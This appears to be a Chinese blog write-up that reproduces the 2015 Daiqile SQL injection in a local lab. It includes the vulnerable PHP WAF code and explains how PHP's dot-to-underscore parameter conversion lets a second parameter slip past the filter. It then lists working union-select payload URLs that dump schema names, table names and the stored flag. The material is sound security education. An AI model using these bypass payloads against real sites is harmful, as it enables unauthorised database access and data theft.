贷齐乐错误的waf引起的SQL注入漏洞复现

news2025/1/21 2:48:56

君衍.

  • 一、环境介绍
    • 1、第一道WAF
    • 2、第二道WAF
  • 二、环境部署
    • 1、模拟源码
    • 2、连接数据库源码
    • 3、数据库创建
    • 4、测试
  • 三、源码分析
    • 1、模拟WAF
    • 2、注入思路
    • 3、PHP下划线特性
    • 4、完成假设
  • 四、联合查询注入
    • 1、测试回显字段
    • 2、爆出库名
    • 3、爆出表名
    • 4、爆出表下的列名
    • 4、爆出flag

一、环境介绍

在这里插入图片描述
本篇模拟2015年爆出的贷齐乐SQL注入的漏洞:贷齐乐系统多处SQL注入漏洞

该漏洞基于错误的WAF引发的,同SQLi靶场中的29关到31关类似,但该漏洞是错误的WAF引起的,而29关到31关则是HTTP参数污染引起的。还是有些不同之处的,而这里是HPP全局参数污染以及PHP的一个特性。

1、第一道WAF

当初在这个漏洞被爆出时,daiqile使用了变态WAF来进行防御,可以说已经影响了用户的正常使用,之所以这样其实还是因为开发方面的安全意识差,从而导致很多漏洞被批露。下面我们分析下当年daiqile使用了哪些waf进行过滤:
在这里插入图片描述
第一层WAF: 包含点,单引号,星号等等,一旦包含直接删除非法字符,然后又注释掉了一系列东西,这是第一个WAF防御。
在这里插入图片描述
将GET获取到的所有值来进行判断是否含还有password,如果没有,那么就执行第一层WAF来进行检测,GET传参不行,单引号也是闭合不了的。第二段则是将POST也进行了循环,然后进行过滤,执行第一层WAF,第三段则是REQUEST同样是进行循环然后过滤掉了。

class sqlin {
	function dowith_sql($str) {
		$check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);
		if($check)
			{
			echo "非法字符!";
			exit();
		}
		$newstr="";
		while($newstr!=$str){
		$newstr=$str;
        $str = str_replace("script", "", $str);
        $str = str_replace("execute", "", $str);
        $str = str_replace("update", "", $str);
        //$str = str_replace("count", "", $str);
        //注释掉对count的过滤,不然account这样的参数会被截断
        $str = str_replace("master", "", $str);
        $str = str_replace("truncate", "", $str);
        $str = str_replace("declare", "", $str);
        $str = str_replace("select", "", $str);
        $str = str_replace("create", "", $str);
        $str = str_replace("delete", "", $str);
        $str = str_replace("insert", "", $str);
        $str = str_replace("\'", "", $str);
		}
		return $str;
    }
	
//aticle()防SQL注入函数//php教程
    function sqlin() {
        foreach ($_GET as $key => $value) {
            if ($key != "content"&&strstr($key, "password") == false) {
                $_GET[$key] = $this->dowith_sql($value);
            }
        }
        foreach ($_POST as $key => $value) {
			[email protected]_put_contents('wxy123123.txt', date('Ymd His') . '提交url拼接 '.$key."|".(strstr($key, "password") == false), FILE_APPEND);
            if ($key != "content"&&strstr($key, "password") == false) {
                $_POST[$key] = $this->dowith_sql($value);
            }
        }
		foreach ($_REQUEST as $key => $value) {
            if ($key != "content"&&strstr($key, "password") == false) {
                $_REQUEST[$key] = $this->dowith_sql($value);
            }
        }
    }
}

GET/POST/REQUEST三个变量,都会经过这个正则:select\|insert\|update\|delete\|'\|/\*\|\*\|\.\./\|\./\|union\|into\|load\_file\|outfile,一旦遇到select,包括单引号,包括注释符,就立即exit整个流程。

2、第二道WAF

以上还都是第一道WAF,下面我们看第二道WAF:

function safe_str($str){
    if(!get_magic_quotes_gpc()) {
        if( is_array($str) ) {
            foreach($str as $key => $value) {
                $str[$key] = safe_str($value);
            }
        }else{
            $str = addslashes($str);
        }
    }
    return $str;
}

这里我们可以看到里面首先进行了魔术开关的判断,然后就是判断是不是数组,如果是数组,那么循环进行safe_str函数循环判断,如果不是数组,那么直接执行addslashes进行过滤。
在这里插入图片描述

function dhtmlspecialchars($string) {
    if(is_array($string)) {
        foreach($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    } else {
        $string = str_replace(array('&', '"', '<', '>','(',')'), array('&amp;', '&quot;', '&lt;', '&gt;','(',')'), $string);
        if(strpos($string, '&amp;#') !== false) {
            $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}

这个函数关键点在于括号替换了,替换为中文的括号,剩下的便是双引号等等字符被转义,这里我们报错注入直接用不了了。

foreach ($_GET as $key => $value) {
    $_GET[$key] = safe_str($value);
    $_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = safe_str($value);
    $_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_REQUEST as $key => $value) {
    $_REQUEST[$key] = safe_str($value);
    $_REQUEST[$key] = dhtmlspecialchars($value);
}
foreach ($_COOKIE as $key => $value) {
    $_COOKIE[$key] = safe_str($value);
    $_GET[$key] = dhtmlspecialchars($value);
}

剩下的便是GET、POST、REQUEST、COOKIE传参方式全部进入这两个函数进行过滤,从而达到防御的效果,这里我们不能写闭合,不能写括号,这里我们再注入已经几乎没办法进行注入了。
所以我们想要完成注入,肯定就必须绕过这两个WAF。

二、环境部署

本漏洞由于是2015年爆出的,所以这里源码使用的PHP版本不支持7版本,这里我们可以使用PHP5.4.45版本,只需小皮进行下载更改即可:
在这里插入图片描述
在这里插入图片描述
源码在下面放了,一共两段源码,一段是模拟WAF的源码,另一段是SQL连接的源码。
这里我使用的环境为PHP 5.4.45版本,使用Apache中间件,MySQL使用5.7.26版本:
在这里插入图片描述

1、模拟源码

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
  //经过第一道WAF处理
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
  // 业务处理
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result = mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

2、连接数据库源码

<?php
$mysql_server_name="localhost";
$mysql_database="ctf";    /** 数据库的名称 */
$mysql_username="root";  /** MySQL数据库用户名 */
$mysql_password="123456";  /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>

这里我们使用数据库名为ctf,数据库用户名以及密码使用小皮的数据库用户名以及密码。

3、数据库创建

这里我们需要自己创建数据库以及表名,首先我们创建数据库:

CREATE DATABASE ctf;

创建表名:

CREATE TABLE `users` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `pass` varchar(255) DEFAULT NULL,
  `flag` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8

添加数据(flag):

INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}');

以上就是创建数据库、表以及数据的操作,最终即可看到:

SELECT * FROM users;

在这里插入图片描述
同ctf比赛一样,最终拿下这个flag即为成功。

4、测试

传入1以及单引号给id,即可看到回显结果显示非法字符:

http://127.0.0.1/daiqile/index.php/?id=1'

在这里插入图片描述
而直接访问页面即为空白,这里并没有什么前端代码。只是来模拟错误WAF引起的SQL注入漏洞。

三、源码分析

<?php
// 设置 HTTP 头部,指定内容类型为 text/html,字符集为 utf-8
header("Content-type: text/html; charset=utf-8");
// 引入数据库配置文件
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {
    if (is_array($string)) {
        // 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素
        foreach ($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    } else {
        // 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列
        $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
        // 检查字符串中是否包含 HTML 实体编码,如果包含,将其还原为对应字符
        if (strpos($string, '&amp;#') !== false) {
            $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}
// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {
    // 使用正则表达式检查字符串是否包含 SQL 注入关键词
    $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
    if ($check) {
        // 如果检查到 SQL 注入关键词,输出警告信息并终止程序执行
        echo "非法字符!";
        exit();
    }
    return $str;
}
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
foreach ($_REQUEST as $key => $value) {
    $_REQUEST[$key] = dowith_sql($value);
}
// 解析请求 URI,获取查询参数,并对参数进行 HTML 特殊字符过滤和 SQL 注入检查
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
    $rewrite_url = explode("&", $request_uri[1]);
    foreach ($rewrite_url as $key => $value) {
        $_value = explode("=", $value);
        if (isset($_value[1])) {
            $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
        }
    }
}
// 如果提交按钮被点击,则执行以下代码
if (isset($_REQUEST['submit'])) {
    // 获取用户输入的用户 ID
    $user_id = $_REQUEST['i_d'];
    // 构造 SQL 查询语句,查询用户表中 ID 匹配用户输入的用户 ID 的记录
    $sql = "select * from ctf.users where id=$user_id";
    // 执行 SQL 查询
    $result = mysql_query($sql);
    // 遍历查询结果,输出用户信息
    while($row = mysql_fetch_array($result)) {
        echo "<tr>";
        echo "<td>" . $row['name'] . "</td>";
        echo "</tr>";
    }
}
?>

1、模拟WAF

所以我们这里几乎模拟了真实的场景:

  • 第一道WAF:
foreach ($_REQUEST as $key => $value) {
	$_REQUEST[$key] = dowith_sql($value);
}

这里调用了dowith_sql函数,相当于过滤了select、union等一些关键字。

  • 第二道WAF
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
	if (isset($request_uri[1])) {
		$rewrite_url = explode("&", $request_uri[1]);
		foreach ($rewrite_url as $key => $value) {
			$_value = explode("=", $value);
			if (isset($_value[1])) {
				$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

这道WAF主要是过滤了括号等一些恶意字符,但是关键掉便在于第二道WAF的这段代码。
我们从第一句开始看:

$request_uri = explode("?", $_SERVER['REQUEST_URI']);

我们可以模拟来看下:

<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
echo "<pre>";
var_dump($request_uri);

这里我们传入:

http://127.0.0.1/daiqile/demo.php?id=1&username=2&password=3

即可看到:
在这里插入图片描述
原本$_SERVER['REQUEST_URI']传入的以及之后输出的会发现主要是进行了一个使用问号来进行的分割,分割为了两个数组,数组0是路径uri,数组1即为传入的参数。而这便是explode的作用:
在这里插入图片描述
然后我们继续往下看会发现进行了一个判断,数组1是否存在,在我们这里刚才传入的肯定是存在的,所以我们继续修改代码,往下看:

<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
	$rewrite_url = explode("&", $request_uri[1]);
    echo "<pre>";
    var_dump($request_uri);
	foreach ($rewrite_url as $key => $value) {
		$_value = explode("=", $value);
		if (isset($_value[1])) {
			$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
		}
	}
}

当然我们这都可以猜到,$rewrite_url又是通过&将其分割为数组:
在这里插入图片描述
分割开后我们可以看到又使用等号进行分割:

<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
	$rewrite_url = explode("&", $request_uri[1]);
	foreach ($rewrite_url as $key => $value) {
		$_value = explode("=", $value);
		echo "<pre>";
    	var_dump($_value);
		if (isset($_value[1])) {
			$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
		}
	}
}

在这里插入图片描述
可以看到这个value1就是我们传入的值,然后将我们的值传入到dhtmlspecialchars函数中进行检测替换。最后我们可以看到将$_SERVER['REQUEST_URI']中的字符覆盖到了$_REQUEST[$_value[0]]中。

2、注入思路

我们从第二道WAF那看不到什么大的问题,但是如果我们结合第一道WAF就可以看到第二道WAF其实就是第一道WAF执行完之后进行执行的。
所以,我们得思考下如果我们有一种方法让第一道WAF检测不到恶意字符,再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST中,其实也就可以绕过WAF,完成我们的注入了。
找好了思路,那么我们就得想办法找到这个方法,这个想法之前我们说了要让第一道WAF找不到恶意字符,那么我们就得再$REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。

既然上面我们从绕过WAF变为了如何让第一道WAF检测不到恶意字符,那么我们又得想一个办法。

让第一道WAF检测不到恶意字符的思路便是,在第一道WAF进行检测时,检测为2,但是在覆盖REQUEST时候使它最终拿到1便可完成第一道WAF的绕过。

3、PHP下划线特性

这里我们需要了解PHP的一个小特性,那就是自身在进行解析的时候,如果参数中含有” “、”.”、”[“这几个字符,那么会将他们转换为下划线。

我们可以做个测试:

<?php
echo $_GET['i_d'];

然后我们传入:

http://127.0.0.1/daiqile/demo.php?i_d=1

在这里插入图片描述

http://127.0.0.1/daiqile/demo.php?i.d=1

在这里插入图片描述
所以我们可以利用这个特性,让第一道WAF解析一个正常的参数,第二道WAF来解析另一个恶意字符的参数从而完成覆盖注入。

假设我们传入的请求是/index.php?user_id=1&user.id=2,PHP就会将user.id转换为user_id,请求也就变为了:/index.php?user_id=1&user_id=2,所以第一道WAF拿的便是2,可是$_SERVER['REQUEST_URI']中,user_iduser.id是两个不同的参数,所以最后覆盖的是否我们拿到的确实1。

上面这个假设也就绕过了WAF1,插入数据库的即为1。

4、完成假设

我们这里就实施下我们的思路,首先我们传入的参数为:

http://127.0.0.1/daiqile/index.php/?i_d=bad'&i.d=111&submit=1

我们想要达到的效果便是:

  • 1、第一道WAF拿到传入的111,当然,我们将另一个参数设置为bad’,加了单引号,如果不成功肯定是报错的。
  • 2、我们要让第二道WAF拿到bad’,因为单引号过滤在第一道WAF处,所以不会报错。

上面便是我们想要的结果,下面我们更改源码来进行测试查看两个WAF分别传入的值:

  • 第一道WAF:

在这里插入图片描述

  • 第二道WAF:

在这里插入图片描述
我们可以看到我们的假设是成立的,最终都使他们拿到了我们想要的值。所以我们下面就开始注入。

四、联合查询注入

这里由于我们不能使用括号,所以优先使用联合查询进行注入:
(这里我们使用注释代替空格)

1、测试回显字段

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1

在这里插入图片描述
我们可以看到是第二个字段进行的回显,所以我们就在第二个字段进行注入。

2、爆出库名

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

在这里插入图片描述
我们可以看到这里就将所有的数据库名注入了出来,当然,我们也可以使用limit来一个一个观察:

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1&submit=1

在这里插入图片描述
一般在比赛中是一个数据库即为ctf,假设我们这里找到了数据库,下面我们要查看数据库下的所有表名。

3、爆出表名

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

在这里插入图片描述
这里由于源码中WAF使用了等号截断,所以我们这里使用like代替了等号,同时传入数据库中的内容使用十六进制进行了替换:
在这里插入图片描述

4、爆出表下的列名

我们可以直接进行查询,但是无法使用group_concat连接函数进行分割:

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1

在这里插入图片描述
所以这里我们也可以使用limit来进行查询:

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1

在这里插入图片描述

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1&submit=1

在这里插入图片描述

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1&submit=1

在这里插入图片描述

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

在这里插入图片描述
可以看到有个flag字段,最后我们查询即可。

4、爆出flag

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

在这里插入图片描述
到这里我们的贷齐乐错误的WAF引起的SQL漏洞复现完毕,总结下就几个点:

  • 1、hpp php 只接收同名参数的最后一个,这个也涉及hpp全局参数污染。
  • 2、php中会将get传参中的key中的.转为_
  • 3、$_REQUEST 遵循php接收方式,i_d&i.d中的最后一个参数的转换为下划线然后接收,所以我们的正常代码放在第二个参数,waf失效。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1495869.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AI大模型与小模型之间的“脱胎”与“反哺”(第五篇)

一、背景 AI大模型与小模型之间存在一种“脱胎”与“反哺”的关系&#xff0c;这种关系在AI技术的发展中起到了重要的作用。 首先&#xff0c;我们来理解一下“脱胎”的概念。在AI领域&#xff0c;大模型通常具有更大的参数量、更强的表达能力和更高的计算需求。这些大模型通…

第一个 Angular 项目 - 添加路由

第一个 Angular 项目 - 添加路由 前置项目是 第一个 Angular 项目 - 添加服务&#xff0c;之前的切换页面使用的是 ngIf 对渲染的组件进行判断&#xff0c;从而完成渲染。这一步的打算是添加路由&#xff0c;同时添加 edit recipe 的功能(同样通过路由实现) 用到的内容为&…

RabbitMQ 交换器

RabbitMQ 交换器 官方例子 http://www.rabbitmq.com/getstarted.html direct 如上图所示&#xff0c;两个队列绑定到了direct交换器上&#xff0c;第一个队列绑定的 binding key 为 orange &#xff0c;第二个队列有两个绑定&#xff0c;分别是 black 和 green 。 如上图所示…

vue+element模仿实现云码自动验证码识别平台官网

一、项目介绍 项目使用传统vue项目结构实现&#xff0c;前端采用element实现。 element官网&#xff1a;Element - The worlds most popular Vue UI framework 云码官网地址&#xff1a;云码-自动验证码识别平台_验证码识别API接口_免费验证码软件 项目截图&#xff0c;支持…

一键安装conda-batch脚本

conda的安装可以更简化些&#xff0c;即使用batch文件&#xff0c;具体步骤如下&#xff1a; 新建文本文档&#xff0c;并改后缀名为.bat 使用文本编辑器编辑&#xff0c;并输入内容如下 echo offSET MINICONDA_INSTALLER_PATHminiconda3_installer.exe SET MINICONDA_UR…

实现一个网页版的简易猜数字游戏

实现一个网页版的简易猜数字游戏 效果 代码截图 相关代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><t…

基于Matlab实现免疫荧光图像中的区域定位算法

基于Matlab实现免疫荧光图像中的区域定位算法 免疫荧光法。以荧光染料为标记物,试纸条为载体,发生抗原抗体特异性反应,根据免疫复合物被激发的荧光强度对待测物进行定量分析[。该方法具有环境要求不高、操作简单快速、无污染且荧光染料丰富等优点。 常用于食品安全检测过程中…

Python实现选择排序算法

Python实现选择排序算法 以下是使用Python实现选择排序算法的示例代码&#xff1a; def selection_sort(arr):n len(arr)for i in range(n):min_index i# 找到未排序部分的最小元素的索引for j in range(i 1, n):if arr[j] < arr[min_index]:min_index j# 将最小元素与…

【BUG】cmd运行wmic提示‘wmic‘ 不是内部或外部命令

cmd运行wmic提示‘wmic‘ 不是内部或外部命令 解决办法 将C:\Windows\System32\wbem添加到系统环境变量

《系统架构设计师教程(第2版)》第6章-据库设计基础知识-01-数据库基本概念

文章目录 1. 概述1.1 基本概念1&#xff09;信息 (Information)2&#xff09;数据 (Data)3&#xff09;数据库 (DB)4&#xff09;数据库系统(DBS)5&#xff09;数据库管理系统&#xff08;DBMS&#xff09; 1.2 数据库技术的发展1.2.1 人工管理阶段1.2.2 文件系统阶段1&#xf…

SQL中如何添加数据

SQL中如何添加数据 一、SQL中如何添加数据&#xff08;方法汇总&#xff09;二、SQL中如何添加数据&#xff08;方法详细解说&#xff09;1. 使用SQL脚本&#xff08;推荐&#xff09;1.1 在表中插入1.1.1 **第一种形式**1.1.2 **第二种形式**SQL INSERT INTO 语法示例SQL INSE…

代码学习记录10

随想录日记part10 t i m e &#xff1a; time&#xff1a; time&#xff1a; 2024.03.03 主要内容&#xff1a;今天的主要内容是深入了解数据结构中栈和队列&#xff0c;并通过三个 l e e t c o d e leetcode leetcode 题目深化认识。 20. 有效的括号1047. 删除字符串中的所有…

day13_微服务监控Nginx(微服务集成SBA)

文章目录 1 微服务系统监控1.1 监控系统的意义1.2 SBA监控方案1.3 SBA实战1.3.1 创建SBA服务端1.3.2 微服务集成SBA 1.4 微服务集成logback1.5 配置邮件告警 2 Nginx2.1 Nginx简介2.2 下载和安装2.2.1 方式1&#xff1a;window本地安装2.2.1.1 下载2.2.1.2 安装2.2.1.3 目录结构…

如何使用 CSS object-fit 进行图片的缩放和裁剪

简介 在处理图片时&#xff0c;你可能会遇到需要保持原始宽高比的情况。保持宽高比可以防止图片被拉伸或压缩而出现失真。解决这个问题的常见方法是使用 background-image CSS 属性。更现代的方法是使用 object-fit CSS 属性。 在本文中&#xff0c;你将探索 object-fit CSS …

【系统安全加固】Centos 设置禁用密码并打开密钥登录

文章目录 一&#xff0c;概述二&#xff0c;操作步骤1. 服务器端生成密钥2. 在服务器上安装公钥3.下载私钥到本地&#xff08;重要&#xff0c;否则后面无法登录&#xff09;4. 修改配置文件&#xff0c;禁用密码并打开密钥登录5. 重启sshd服务6. 配置xshell使用密钥登录 一&am…

【异常处理】sbt构建Chisel库时出现extracting structure failed:build status:error的解决办法

文章目录 报错背景&#xff1a;解决思路&#xff1a;①IDEA中配置本地的SBT进行下载②更改下载源为华为的镜像站1. 修改sbtconfig.txt2. 增加repositories文件 ③查看报错信息 总结整理的Scala-Chisel-Chiseltest版本信息对应表 报错背景&#xff1a; 最近在写Chisel时&#x…

14、电源管理入门之Watchdog看门狗

目录 1. 软硬件watchdog的区别 2. 软件看门狗 2.1 kernel watchdog 2.1.1 soft lockup 2.1.1 hard lockup 2.2 用户态watchdog 2.2.1 softdog 2.2.1 hardware watchdog 3. 硬件看门狗 3.1 硬件寄存器介绍 3.2 喂狗操作 3.3 watchdog硬件驱动编写 参考: 看门狗,又…

shell 脚本 if-else判断 和流程控制 (基本语法|基础命令)

CSDN 成就一亿技术人&#xff01; 作者主页&#xff1a;点击&#xff01; Shell编程专栏&#xff1a;点击&#xff01; CSDN 成就一亿技术人 前言———— shell脚本中的if-else功能对于shell程序员来说是一笔重要的财富。当您需要根据预定义条件执行一组语句时&#xff0c…

一个系列很多样式的wordpress外贸建站模板

菌菇干货wordpress跨境电商模板 食用菌、羊肚菌、牛肝菌、香菇、干黄花菜、梅干菜、松茸wordpress跨境电商模板。 https://www.jianzhanpress.com/?p3946 餐饮调味wordpress跨境电商模板 豆制品、蛋黄糖、烘焙、咖啡、调料、调味酱、餐饮调味wordpress跨境电商模板。 http…

【MATLAB源码-第157期】基于matlab的海马优化算法(SHO)机器人栅格路径规划,输出做短路径图和适应度曲线。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 海马优化器&#xff08;Sea Horse Optimizer, SHO&#xff09;是一种近年来提出的新型启发式算法&#xff0c;其设计灵感来源于海洋中海马的行为模式&#xff0c;特别是它们在寻找食物和伴侣时表现出的独特策略。海马因其独特…